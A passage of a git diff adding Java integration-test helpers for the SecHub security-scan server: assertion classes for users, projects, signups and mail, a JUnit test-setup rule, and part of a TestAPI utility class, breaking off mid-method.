0000000000..1d60622846 --- /dev/null +++ b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/AssertMail.java @@ -0,0 +1,14 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.api; + +import com.daimler.sechub.integrationtest.internal.IntegrationTestContext; + +public class AssertMail { + + public static void assertMailExists(TestUser to, String subject) { + assertMailExists(to.getEmail(),subject); + } + public static void assertMailExists(String to, String subject) { + IntegrationTestContext.get().emailAccess().findMailOrFail(to,subject); + } +} diff --git a/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/AssertProject.java b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/AssertProject.java new file mode 100644 index 0000000000..ecefa16fef --- /dev/null +++ b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/AssertProject.java @@ -0,0 +1,57 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.api; + +import static org.junit.Assert.*; + +import org.springframework.http.HttpStatus; + +import com.daimler.sechub.adapter.AdapterException; +import com.daimler.sechub.adapter.support.JSONAdapterSupport; + +public class AssertProject extends AbstractAssert { + + private TestProject project; + + AssertProject(TestProject project) { + this.project = project; + } + + public AssertProject doesNotExist() { + expectHttpClientError(HttpStatus.NOT_FOUND, () -> fetchProjectDetails(), project.getProjectId() + " found!"); + return this; + } + + public AssertProject doesExist() { + fetchProjectDetails();// will fail with http error when not available + return this; + + } + + private String fetchProjectDetails() { + return getRestHelper().getJSon(getUrlBuilder().buildAdminGetProjectDetailsUrl(project.getProjectId())); + } + public AssertProject hasOwner(TestUser user) { + return hasOwner(user,true); + } + private AssertProject hasOwner(TestUser user, boolean expected) { + String content = fetchProjectDetails(); + String owner=""; + try { + owner = JSONAdapterSupport.FOR_UNKNOWN_ADAPTER.fetch("owner",content).asText(); + } catch (AdapterException e) { + e.printStackTrace(); + fail("adapter json failure:"+e.getMessage()); + } + if (expected && !user.getUserId().equals(owner)) { + fail("User:" + user.getUserId() + " is NOT owner of project:" + project.getProjectId()+" but:"+owner); + }else if (!expected && user.getUserId().equals(owner)) { + fail("User:" + user.getUserId() + " is owner of project:" + project.getProjectId()); + } + return this; + } + + public AssertProject hasNotOwner(TestUser user) { + return hasOwner(user,false); + } + +} diff --git a/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/AssertSignup.java b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/AssertSignup.java new file mode 100644 index 0000000000..6f01889d03 --- /dev/null +++ b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/AssertSignup.java @@ -0,0 +1,34 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.api; + +import static org.junit.Assert.*; + +public class AssertSignup extends AbstractAssert{ + + private TestUser user; + + AssertSignup(TestUser user) { + this.user = user; + } + + public AssertSignup doesNotExist() { + assertFalse("DID found signup for user:"+user.getUserId(), contains(user)); + return this; + } + + public AssertSignup doesExist() { + assertTrue("Did NOT found signup for:"+user.getUserId(), contains(user)); + return this; + } + + private boolean contains(TestUser user) { + String details = fetchUserDetails(); + String toSearchFor = "\""+user.getUserId()+"\""; + return details.contains(toSearchFor); + } + + private String fetchUserDetails() { + return getRestHelper().getJSon(getUrlBuilder().buildAdminListsUserSignupsUrl()); + } + +} diff --git a/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/AssertUser.java b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/AssertUser.java new file mode 100644 index 0000000000..9f98063831 --- /dev/null +++ b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/AssertUser.java @@ -0,0 +1,433 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.api; + +import static com.daimler.sechub.integrationtest.api.TestAPI.*; +import static org.junit.Assert.*; + +import java.io.File; +import java.io.IOException; +import java.util.Iterator; +import java.util.UUID; + +import org.springframework.http.HttpStatus; +import org.springframework.web.client.HttpClientErrorException; + +import com.daimler.sechub.integrationtest.internal.IntegrationTestFileSupport; +import com.daimler.sechub.test.JSONTestSupport; +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.node.ArrayNode; + +public class AssertUser extends AbstractAssert { + + private TestUser user; + + AssertUser(TestUser user) { + this.user = user; + } + + public AssertUser doesNotExist() { + expectHttpClientError(HttpStatus.NOT_FOUND, () -> fetchUserDetails(), user.getUserId() + " found!"); + return this; + } + + /** + * Asserts user does exist + * @return + */ + public AssertUser doesExist() { + fetchUserDetails();// will fail with http error when not available + return this; + + } + + public AssertUser isNotAssignedToProject(TestProject project) { + if (internalIsAssignedToProject(project)) { + fail("User " + user.getUserId() + " is assigned to project " + project.getProjectId()); + } + return this; + } + + public AssertUser isAssignedToProject(TestProject project) { + if (!internalIsAssignedToProject(project)) { + fail("User " + user.getUserId() + " is NOT assigned to project " + project.getProjectId()); + } + return this; + } + + boolean internalIsAssignedToProject(TestProject project) { + String fetchUserDetails = fetchUserDetails(); + return isAssignedToProject(project, fetchUserDetails); + } + + static boolean isAssignedToProject(TestProject project, String fetchedUserDetails) { + return isInList(project, fetchedUserDetails,"projects"); + } + + public AssertUser isSuperAdmin() { + assertTrue("Is not a super admin!", internalIsSuperAdmin()); + return this; + } + + public AssertUser isInSuperAdminList() { + assertTrue("Is not in super admin list!", internalIsInSuperAdminList()); + return this; + } + + public AssertUser isNotInSuperAdminList() { + assertFalse("Is in super admin list, but shouldn't!", internalIsInSuperAdminList()); + return this; + } + + private boolean internalIsInSuperAdminList() { + String adminList = fetchSuperAdminList(); + return adminList.contains("\""+user.getUserId()+"\""); + } + + boolean internalIsSuperAdmin() { + String fetchUserDetails = fetchUserDetails(); + return isSuperAdmin(fetchUserDetails); + } + + + public AssertUser isNotSuperAdmin() { + assertFalse("Is a super admin!",internalIsSuperAdmin()); + return this; + } + + static boolean isSuperAdmin(String fetchedUserDetails) { + try { + JsonNode json = JSONTestSupport.DEFAULT.fromJson(fetchedUserDetails); + JsonNode superAdmin = json.get("superAdmin"); + return superAdmin.asBoolean(); + } catch (IOException e) { + throw new AssertionError("Was not able to parse json:"+fetchedUserDetails,e); + } + } + + static boolean isOwnerOfProject(TestProject project, String fetchedUserDetails) { + return isInList(project, fetchedUserDetails,"ownedProjects"); + } + static boolean isInList(TestProject project, String fetchedUserDetails, String listName) { + try { + JsonNode json = JSONTestSupport.DEFAULT.fromJson(fetchedUserDetails); + JsonNode projects = json.get(listName); + if (! projects.isArray()) { + fail("not a array found!"); + } + ArrayNode array = (ArrayNode) projects; + Iterator elements = array.elements(); + while (elements.hasNext()) { + JsonNode element = elements.next(); + String text = element.asText(); + if (text.contentEquals(project.getProjectId())) { + return true; + } + } + return false; + } catch (IOException e) { + throw new AssertionError("Was not able to parse json:"+fetchedUserDetails,e); + } + } + + private String fetchUserDetails() { + return getRestHelper().getJSon(getUrlBuilder().buildGetUserDetailsUrl(user.getUserId())); + } + + private String fetchSuperAdminList() { + return getRestHelper().getJSon(getUrlBuilder().buildAdminListsAdminsUrl()); + } + + /** + * Assert user cannot create project - but will also fail if the project exists + * before + * + * @param project + * @return this + */ + public AssertUser cannotCreateProject(TestProject project, String owner, HttpStatus errorStatus) { + if (errorStatus == null) { + errorStatus = HttpStatus.FORBIDDEN; + } + assertProject(project).doesNotExist(); + + expectHttpFailure(() -> as(user).createProject(project,owner),errorStatus); + + assertProject(project).doesNotExist(); + return this; + } + + /** + * Asserts that the user can create given project. Will fail if the project does + * exist before, create project not possible or the project does not exist after + * call. After this is executed the project exists + * + * @param project + * @return this + */ + public AssertUser canCreateProject(TestProject project, String owner) { + assertProject(project).doesNotExist(); + as(user).createProject(project,owner); + assertProject(project).doesExist(); + + return this; + } + + /** + * Asserts that the user can assign targetUser to given project. Will fail if + * the project or target user does not exist before, or assignment is not + * possible.
+ *
+ * After this is executed the user is assigned to project or test fails + * + * @param targetUser + * @param project + * @return + */ + public AssertUser canAssignUserToProject(TestUser targetUser, TestProject project) { + /* @formatter:off */ + assertProject(project). + doesExist(); + assertUser(targetUser). + doesExist(). + isNotAssignedToProject(project); + + as(this.user). + assignUserToProject(targetUser, project); + + assertUser(targetUser). + isAssignedToProject(project); + /* @formatter:on */ + return this; + } + + /** + * Asserts that the user can NOT assign targetUser to given project. Will fail if + * the project or target user does not exist before, or assignment is was + * possible.
+ *
+ * After this is executed the user is NOT assigned to project or test fails + * + * @param targetUser + * @param project + * @return + */ + public AssertUser canNotAssignUserToProject(TestUser targetUser, TestProject project, HttpStatus expectedError) { + if (expectedError==null) { + expectedError=HttpStatus.FORBIDDEN; + } + assertProject(project).doesExist(); + assertUser(targetUser).doesExist().isNotAssignedToProject(project); + + expectHttpFailure(() -> as(user).assignUserToProject(targetUser, project), expectedError); + + assertUser(targetUser).isNotAssignedToProject(project); + return this; + } + + public AssertUser canAccessProjectInfo(TestProject project) { + assertProject(project).doesExist(); + accessProjectInfo(project); + return this; + } + + private void accessProjectInfo(TestProject project) { + as(user).getStringFromURL(getUrlBuilder().buildAdminFetchProjectInfoUrl(project.getProjectId())); + } + + public AssertUser canNotListProject(TestProject project, HttpStatus expectedError) { + if (expectedError==null) { + expectedError=HttpStatus.FORBIDDEN; + } + assertProject(project).doesExist(); + + expectHttpFailure(() -> accessProjectInfo(project), expectedError); + + return this; + + } + + /** + * Creates a webscan job for project (but job is not started) + * @param project + * @return uuid for created job + */ + public UUID canCreateWebScan(TestProject project) { + return canCreateWebScan(project,null); + } + + /** + * Creates a webscan job for project (but job is not started) + * @param project + * @return uuid for created job + */ + public UUID canCreateAndApproveWebScan(TestProject project) { + UUID jobUUID = canCreateWebScan(project,null); + assertNotNull(jobUUID); + canApproveJob(project, jobUUID); + return jobUUID; + } + + + /** + * Creates a webscan job for project (but job is not started) + * @param project + * @param runModem mode to use + * @return uuid for created job + */ + public UUID canCreateWebScan(TestProject project, RunMode runMode) { + return TestAPI.as(user).createWebScan(project,runMode); + } + + public AssertUser canNotCreateWebScan(TestProject project, HttpStatus expectedError) { + if (expectedError==null) { + expectedError=HttpStatus.FORBIDDEN; + } + assertProject(project).doesExist(); + + expectHttpFailure(() -> canCreateWebScan(project), expectedError); + return this; + } + + public AssertUser canGetStatusForJob(TestProject project, UUID jobUUID) { + as(user).getJobStatus(project.getProjectId(), jobUUID); + return this; + + } + + public AssertUser canApproveJob(TestProject project, UUID jobUUID) { + as(user).approveJob(project, jobUUID); + return this; + } + + public AssertUser canNotApproveJob(TestProject project, UUID jobUUID) { + expectHttpFailure(() -> canApproveJob(project,jobUUID), HttpStatus.NOT_FOUND); + return this; + } + + public AssertUser canNotGetStatusForJob(TestProject project, UUID jobUUID, HttpStatus expectedError) { + if (expectedError==null) { + expectedError=HttpStatus.FORBIDDEN; + } + assertProject(project).doesExist(); + + expectHttpFailure(() -> canGetStatusForJob(project,jobUUID), expectedError); + return this; + } + + public AssertUser canGetReportForJob(TestProject project, UUID jobUUID) { + as(user).getJobReport(project.getProjectId(), jobUUID); + return this; + + } + + public AssertUser canLogin() { + as(user).getServerURL(); + return this; + } + + + public AssertUser canNotGetReportForJob(TestProject project, UUID jobUUID, HttpStatus expectedError) { + if (expectedError==null) { + expectedError=HttpStatus.FORBIDDEN; + } + assertProject(project).doesExist(); + + expectHttpFailure(() -> canGetReportForJob(project,jobUUID), expectedError); + return this; + } + + public AssertUser canUploadSourceZipFile(TestProject project, UUID jobUUID, String pathInsideResources) { + File uploadFile = IntegrationTestFileSupport.getTestfileSupport().createFileFromResourcePath(pathInsideResources); + String checkSum = TestAPI.createSHA256Of(uploadFile); + as(user).upload(project, jobUUID, uploadFile,checkSum); + /* check if file is uploaded on server location */ + File downloadedFile = TestAPI.getFileUploaded(project,jobUUID,"sourcecode.zip"); + assertNotNull(downloadedFile); + return this; + } + + public AssertJobInformationAdministration onJobAdministration() { + return new AssertJobInformationAdministration(user); + } + + public AssertUser hasUserRole() { + try { + as(user).getStringFromURL(getUrlBuilder().buildCheckRoleUser()); + }catch(HttpClientErrorException e) { + if (e.getRawStatusCode()==403) { + fail("User has not user role or access layer has an error"); + } + throw e; + } + return this; + } + public AssertUser hasOwnerRole() { + try { + as(user).getStringFromURL(getUrlBuilder().buildCheckRoleOwner()); + }catch(HttpClientErrorException e) { + if (e.getRawStatusCode()==403) { + fail("User has not owner role or access layer has an error"); + } + throw e; + } + return this; + } + + public AssertUser isOwnerOf(TestProject project) { + assertProject(project).hasOwner(user); + return this; + } + + public AssertUser hasNotUserRole() { + expectHttpFailure(() -> as(user).getStringFromURL(getUrlBuilder().buildCheckRoleUser()), HttpStatus.FORBIDDEN); + return this; + } + public AssertUser hasNotOwnerRole() { + expectHttpFailure(() -> as(user).getStringFromURL(getUrlBuilder().buildCheckRoleOwner()), HttpStatus.FORBIDDEN); + return this; + } + public AssertUser isNotOwnerOf(TestProject project) { + assertProject(project).hasNotOwner(user); + return this; + } + + public AssertUser canDownloadReportForJob(TestProject project, UUID jobUUID) { + as(user).getStringFromURL(getUrlBuilder().buildGetJobReportUrl(project.getProjectId(), jobUUID));; + return this; + } + + public AssertUser canNotDownloadReportForJob(TestProject project, UUID jobUUID) { + expectHttpFailure(() -> as(user).getStringFromURL(getUrlBuilder().buildGetJobReportUrl(project.getProjectId(), jobUUID)), HttpStatus.NOT_FOUND); + return this; + } + + public AssertUser canGrantSuperAdminRightsTo(TestUser targetUser) { + as(user).grantSuperAdminRightsTo(targetUser); + return this; + } + + public AssertUser canNotGrantSuperAdminRightsTo(TestUser targetUser, HttpStatus expected) { + expectHttpFailure(()-> as(user).grantSuperAdminRightsTo(targetUser), expected); + return this; + } + + public AssertUser canRevokeSuperAdminRightsTo(TestUser targetUser) { + as(user).revokeSuperAdminRightsFrom(targetUser); + return this; + } + + public AssertUser canNotRevokeSuperAdminRightsFrom(TestUser targetUser, HttpStatus expected) { + expectHttpFailure(()-> as(user).revokeSuperAdminRightsFrom(targetUser), expected); + return this; + } + + public AssertUser hasReceivedEmail(String subject) { + AssertMail.assertMailExists(user.getEmail(),subject); + return this; + } + + + + + +} diff --git a/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/IntegrationTestSetup.java b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/IntegrationTestSetup.java new file mode 100644 index 0000000000..c2b216a8fa --- /dev/null +++ b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/IntegrationTestSetup.java @@ -0,0 +1,228 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.api; + +import java.time.LocalDateTime; +import java.util.Arrays; +import java.util.HashSet; +import java.util.Set; + +import org.junit.Assume; +import org.junit.rules.TestRule; +import org.junit.runner.Description; +import org.junit.runners.model.Statement; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.http.HttpStatus; +import org.springframework.web.client.HttpStatusCodeException; +import org.springframework.web.client.ResourceAccessException; + +import com.daimler.sechub.integrationtest.internal.IntegrationTestContext; +import com.daimler.sechub.integrationtest.internal.TestRestHelper; +import com.daimler.sechub.integrationtest.internal.TestScenario; + +import ch.qos.logback.classic.Level; + +public class IntegrationTestSetup implements TestRule { + + private static final String SECHUB_INTEGRATIONTEST_LONG_RUNNING = "sechub.integrationtest.longrunning"; + private static final String SECHUB_INTEGRATIONTEST_RUNNING = "sechub.integrationtest.running"; + private static final String SECHUB_INTEGRATIONTEST_ENABLE_HTTP_DEBUG_LOGGING = "sechub.integrationtest.enable.http.debug"; + + private TestScenario scenario; + private boolean longrunning; + + private static final int MAX_SECONDS_TO_WAIT_FOR_INTEGRATION_SERVER = 15; + + private static final Logger LOG = LoggerFactory.getLogger(IntegrationTestSetup.class); + + private static Boolean testServerStatusCache = null; + + /** + * The next lines are absolute necessary stuff - why? Unfortunately apache http + * client used for webmvc testing does enable debug logging always which does + * create EXTREME output on console. And on some tests e.g. Uploading a 5 MB ZIP + * file for test we got so much binary output which can lead to IDE console + * problems.
+ *
+ * To prevent this we disable these loggers here. But can be turned on by system + * property if really needed. + */ + static { + if (!Boolean.getBoolean(SECHUB_INTEGRATIONTEST_ENABLE_HTTP_DEBUG_LOGGING)) { + Set loggers = new HashSet<>(Arrays.asList("org.apache.http", "groovyx.net.http")); + + for (String log : loggers) { + org.slf4j.Logger impl = LoggerFactory.getLogger(log); + if (impl instanceof ch.qos.logback.classic.Logger) { + ch.qos.logback.classic.Logger logger = (ch.qos.logback.classic.Logger) impl; + logger.setLevel(Level.INFO); + logger.setAdditive(false); + } else { + impl.error( + "Cannot turn off the 'org.apache.http' or 'groovyx.net.http' logging so having much debug output in every test which can make problems in IDEs and/or slows down tests"); + } + } + } else { + LOG.info("You have not turned http debug logging. So you will get much output"); + } + } + + private IntegrationTestSetup(TestScenario scenario) { + this.scenario = scenario; + } + + /** + * Marks this test setup as a long running variant. Means you have to define additional + * SECHUB_INTEGRATIONTEST_LONG_RUNNING system property as true, to have this + * test not ignored. Use this methods to mark extreme slow tests which normally are + * not run because seldom used or maybe only by build servers + * @return this + */ + public IntegrationTestSetup markLongRunning() { + this.longrunning=true; + return this; + } + + public static IntegrationTestSetup forScenario(Class scenarioClazz) { + TestScenario scenario; + try { + scenario = scenarioClazz.newInstance(); + } catch (InstantiationException | IllegalAccessException e) { + throw new IllegalStateException("Cannot create scenario instance for:" + scenarioClazz, e); + } + return new IntegrationTestSetup(scenario); + } + + @Override + public Statement apply(Statement base, Description description) { + return new IntegrationTestStatement(base, description); + } + + private class IntegrationTestStatement extends Statement { + private final Statement next; + private Description description; + + public IntegrationTestStatement(Statement base, Description description) { + next = base; + this.description=description; + } + + @Override + public void evaluate() throws Throwable { + /* skip tests when not in integration test mode */ + boolean integrationTestEnabled; + + /* we differ between long running and "normal" integration tests. If + * user wants both executed, just two system properties must be set + * at execution time. Otherwise a dedicated ones can be enabled */ + if (longrunning) { + integrationTestEnabled = Boolean.getBoolean(SECHUB_INTEGRATIONTEST_LONG_RUNNING); + if (!integrationTestEnabled) { + String message = "Skipped test scenario '" + scenario.getName() + "'\nReason: not in integration (long running )test mode.\nDefine -D" + + SECHUB_INTEGRATIONTEST_LONG_RUNNING + "=true to enable *long* running integration tests!"; + Assume.assumeTrue(message, false); + } + }else { + integrationTestEnabled= Boolean.getBoolean(SECHUB_INTEGRATIONTEST_RUNNING); + if (!integrationTestEnabled) { + String message = "Skipped test scenario '" + scenario.getName() + "'\nReason: not in integration test mode.\nDefine -D" + + SECHUB_INTEGRATIONTEST_RUNNING + "=true to enable integration tests!"; + Assume.assumeTrue(message, false); + } + } + assertTestServerRunning(); + try { + scenario.prepare(description.getClassName(),description.getMethodName()); + + } catch (Throwable e) { + LOG.error("#########################################################################"); + LOG.error("#"); + LOG.error("# FATAL SCENARIO ERROR"); + LOG.error("#"); + LOG.error("#########################################################################"); + LOG.error("# Wasnt able to prepare scenario:{}", scenario.getName()); + LOG.error("#########################################################################"); + LOG.error("Last url :"+TestRestHelper.getLastUrl()); + LOG.error("Last data:"+TestRestHelper.getLastData()); + throw e; + } + try { + next.evaluate(); + } catch (HttpStatusCodeException e) { + HttpStatus code = e.getStatusCode(); + String description = TestRestHelper.getLastUrl(); + throw new IntegrationTestException( + "HTTP ERROR " + e.getRawStatusCode() + " '" + (code != null ? code.getReasonPhrase() : "?") + "', " + description, e); + } + } + + } + + static class IntegrationTestException extends RuntimeException { + private static final long serialVersionUID = 1L; + + public IntegrationTestException(String message, Exception cause) { + super(message, cause); + } + + } + + private static void assertTestServerRunning() { // NOSONAR - being static this is outside IntegrationTestStatement + if (testServerStatusCache == null) { + testServerStatusCache = fetchTestServerStatus(); + } + if (!Boolean.TRUE.equals(testServerStatusCache)) { + throw new IntegrationTestServerNotFoundException(); + } + } + + public static class IntegrationTestServerNotFoundException extends IllegalStateException { + + private static final long serialVersionUID = 1030904546816108076L; + + public IntegrationTestServerNotFoundException() { + super(createTimeInfo("The integration test server is not running. Cannot execute test. Build is alive url was:" + createBuildIsAliveURL())); + } + + private static final String createTimeInfo(String message) { + StringBuilder sb = new StringBuilder(); + sb.append(message); + sb.append("\nTime was:"); + sb.append(LocalDateTime.now()); + return sb.toString(); + } + + public static String createBuildIsAliveURL() { + return IntegrationTestContext.get().getUrlBuilder().buildIsAliveUrl(); + } + + } + + /** + * Waits for test server + * + * @return + */ + public static Boolean fetchTestServerStatus() { + IntegrationTestContext context = IntegrationTestContext.get(); + for (int i = 0; i < MAX_SECONDS_TO_WAIT_FOR_INTEGRATION_SERVER; i++) { + try { + context.getSuperAdminRestHelper().getStringFromURL(context.getUrlBuilder().buildIsAliveUrl()); + return Boolean.TRUE; + } catch (ResourceAccessException e) { + try { + /* NOSONAR */Thread.sleep(1000); + } catch (InterruptedException e1) { + Thread.currentThread().interrupt(); + return Boolean.FALSE; + } + } catch (Exception e) { + LOG.error("Implementation failure, test framework problems", e);/* we cannot give back a correct answer, so throwing an illegal state here */ + return Boolean.FALSE; + } + } + LOG.warn("Was not able to get access to integrationtest server"); + return Boolean.FALSE; + } + +} diff --git a/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/MockEmailEntry.java b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/MockEmailEntry.java new file mode 100644 index 0000000000..e5a02da754 --- /dev/null +++ b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/MockEmailEntry.java @@ -0,0 +1,24 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.api; + +import com.fasterxml.jackson.annotation.JsonAutoDetect; +import com.fasterxml.jackson.annotation.JsonAutoDetect.Visibility; + +//@JsonIgnoreProperties(ignoreUnknown = true) +@JsonAutoDetect(fieldVisibility = Visibility.ANY, getterVisibility = Visibility.NONE, setterVisibility = Visibility.NONE) +public class MockEmailEntry{ + public String from; + public String to; + public String subject; + public String text; + + @Override + public String toString() { + return "MockEmailEntry: [subject=" + subject + ", from=" + from + ", to=" + to + "]"; + } + + public String fullToString() { + return "MockEmail '" + subject + "'\nfrom=" + from + "\nto=" + to +"\n\n" + text + "]\n"; + } + +} \ No newline at end of file diff --git a/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/RunMode.java b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/RunMode.java new file mode 100644 index 0000000000..d13f3932a4 --- /dev/null +++ b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/RunMode.java @@ -0,0 +1,17 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.api; + +public enum RunMode { + + /** + * No waits for executed mocks. + */ + NORMAL, + + /** + * Web and infra scans will have 10 seconds elapse time on mock execution. + */ + LONG_RUNNING_BUT_GREEN, + + +} diff --git a/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/TestAPI.java b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/TestAPI.java new file mode 100644 index 0000000000..f52f0820fe --- /dev/null +++ b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/TestAPI.java @@ -0,0 +1,292 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.api; + +import static org.junit.Assert.*; + +import java.io.File; +import java.io.FileInputStream; +import java.io.IOException; +import java.security.DigestInputStream; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.util.UUID; + +import org.assertj.core.util.Arrays; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.http.HttpStatus; +import org.springframework.web.client.HttpClientErrorException; +import org.springframework.web.client.HttpStatusCodeException; +import org.springframework.web.client.RestClientException; + +import com.daimler.sechub.integrationtest.internal.IntegrationTestContext; +import com.daimler.sechub.test.ExampleConstants; +import com.daimler.sechub.test.TestURLBuilder; + +import junit.framework.AssertionFailedError; + +public class TestAPI { + + private static final Logger LOG = LoggerFactory.getLogger(TestAPI.class); + + + /** + * Do NOT change this user in tests! This is only for checks. Only + * special scenario users are automatically reverted + */ + public static final TestUser ANONYMOUS = new TestUser(); + + /** + * Do NOT change this user in tests! This is only for checks. Only + * special scenario users are automatically reverted + */ + public static final TestUser SUPER_ADMIN = new TestUser("int-test_superadmin", "int-test_superadmin-pwd", "superadmin@"+ExampleConstants.URI_SECHUB_SERVER); + /** + * Do NOT change this user in tests! This is only for checks. Only + * special scenario users are automatically reverted + */ + public static final TestUser ONLY_USER = new TestUser("int-test_onlyuser", "int-test_onlyuser-pwd", "onlyuser@"+ExampleConstants.URI_TARGET_SERVER); + + public static final AsUser as(TestUser user) { + return new AsUser(user); + } + + public static AssertUser assertUser(TestUser user) { + return new AssertUser(user); + } + + public static AssertSignup assertSignup(TestUser user) { + return new AssertSignup(user); + } + + public static AssertProject assertProject(TestProject project) { + return new AssertProject(project); + } + + @SuppressWarnings("unchecked") + public static void waitForJobDone(TestProject project, UUID jobUUID) { + LOG.debug("wait for job done project:{}, job:{}",project.getProjectId(),jobUUID); + + TestAPI.executeUntilSuccessOrTimeout(new AbstractTestExecutable(SUPER_ADMIN,3 ,HttpClientErrorException.class) { + @Override + public boolean runImpl() throws Exception { + String status = as(getUser()).getJobStatus(project.getProjectId(), jobUUID); + System.out.println(">>>>>>>>>JOB:STATUS:"+status); + return status.contains("OK"); + } + }); + } + + private static boolean notExceeded(long maxMilliseconds, long start) { + return System.currentTimeMillis() - start < maxMilliseconds; + } + + public static void executeUntilSuccessOrTimeout(TestExecutable e) { + long start = System.currentTimeMillis(); + int maxMilliseconds = e.getTimeoutInSeconds()*1000; + do { + boolean stop=false; + try { + stop = e.run(); + } catch (Exception ex) { + /* ignore */ + boolean handled = false; + for (Class hec : e.getHandledExceptions()) { + if (ex.getClass().isAssignableFrom(hec)) { + handled=true; + break; + } + } + if (!handled) { + throw new IllegalStateException("An unexpected / unhandled exception occurred at execution time!",ex); + } + } + if (stop) { + return; + } + if (e.getTimeToWaitInMillis()>0) { + try { + Thread.sleep(e.getTimeToWaitInMillis()); + } catch (InterruptedException e1) { + Thread.currentThread().interrupt(); + } + } + } while (notExceeded(maxMilliseconds, start)); + fail("Timeout of waiting for successful execution for user:" + e.getTimeoutInSeconds()); + return; + } + + /** + * As anonymous user one time token link is called and the resulting token is + * set to given test user, so tests can continue without additional setup... + * + * @param user + * @param link + * @return + */ + public static String udpdateAPITokenByOneTimeTokenLink(TestUser user, String link) { + LOG.debug("update api token by one time token link for user:{}, link:{}",user.getUserId(),link); + String newToken = as(ANONYMOUS).getStringFromURL(link); + user.updateToken(newToken); + return newToken; + } + + /** + * Returns link to fetch a new api token, after a signup was acepted. Will use + * last sent mail body to determine the token. + * + * @param user + * @return link, never empty. + * @throws AssertionFailedError when no link available + */ + public static String getLinkToFetchNewAPITokenAfterSignupAccepted(TestUser user) { + LOG.debug("Get link to fetch new api token after signup accepted for for user:{}",user.getUserId()); + MockEmailEntry mail = IntegrationTestContext.get().emailAccess().findMailOrFail(user, "SecHub user account created"); + String text = mail.text.trim(); // remove last \n if existing... + String[] lines = text.split("\n"); + + String linkOfOneApiToken = lines[lines.length - 1]; + if (linkOfOneApiToken.isEmpty()) { + fail("empty link line, origin text mail was:\n" + text); + } + return linkOfOneApiToken; + } + + /** + * Returns link to fetch a new api token, after a token change was requested. + * Will use last sent mail body to determine the token. + * + * @param user + * @return link, never empty. + * @throws AssertionFailedError when no link available + */ + public static String getLinkToFetchNewAPITokenAfterChangeRequest(TestUser user) { + LOG.debug("Get link to fetch new api token after change requested for user:{}",user.getUserId()); + MockEmailEntry mail = IntegrationTestContext.get().emailAccess().findMailOrFail(user, "Your request for a new SecHub API token"); + String text = mail.text.trim(); // remove last \n if existing... + String[] lines = text.split("\n"); + + String linkOfOneApiToken = lines[lines.length - 1]; + if (linkOfOneApiToken.isEmpty()) { + fail("empty link line, origin text mail was:\n" + text); + } + return linkOfOneApiToken; + } + + /** + * Expects an http failure when runnable is executed. If this does not happen, + * dedicated error messages comes up and unit test will fail. + * + * @param expectedStatusCode + * @param runnable + */ + public static void expectHttpFailure(Runnable runnable, HttpStatus... expected) { + if (expected == null || expected.length == 0) { + throw new IllegalArgumentException("test case corrupt please add at least one expected error!"); + } + assertNoHttp20xInside(expected); + + boolean failedAsExpected = false; + try { + runnable.run(); + fail("No rest client exception - so user at least got a HTTP 200 what is wrong!"); + } catch (HttpStatusCodeException he) { + int status = he.getRawStatusCode(); + failedAsExpected = isAllowed(status, expected); + if (failedAsExpected) { + return; + } + fail("Expected http status codes were:" + Arrays.asList(expected) + " but was " + status + "\nMessage:" + he.getMessage() + ",\nContent:" + + he.getResponseBodyAsString()); + } catch (RestClientException e) { + fail("Expected a " + HttpStatusCodeException.class.getSimpleName() + " but was " + e.getClass()); + } + + } + + private static boolean isAllowed(int status, HttpStatus... allowed) { + for (HttpStatus expectedStatusCode : allowed) { + if (expectedStatusCode.value() == status) { + return true; + } + } + return false; + } + + private static void assertNoHttp20xInside(HttpStatus... expectedStatusCodes) { + for (HttpStatus expectedStatusCode : expectedStatusCodes) { + if (expectedStatusCode.is2xxSuccessful()) { + StringBuilder sb = new StringBuilder(); + sb.append("Wrong implemented unit test!\n"); + sb.append("You defined an expected status code inside your test which belongs to 2xxSuccesful familiy:\n"); + sb.append(expectedStatusCode.getReasonPhrase()); + sb.append("\n"); + sb.append("This status is never a failure - so your test is wrong implemented !"); + throw new IllegalArgumentException(sb.toString()); + } + } + } + + /** + * Get uploaded file (means download former uploaded file) from integration test + * server + * + * @param project + * @param jobUUID + * @param fileName + * @return file or null when not found + * @throws IllegalStateException when other problems are occurring + */ + public static File getFileUploaded(TestProject project, UUID jobUUID, String fileName) { + TestURLBuilder urlBuilder = IntegrationTestContext.get().getUrlBuilder(); + String url = 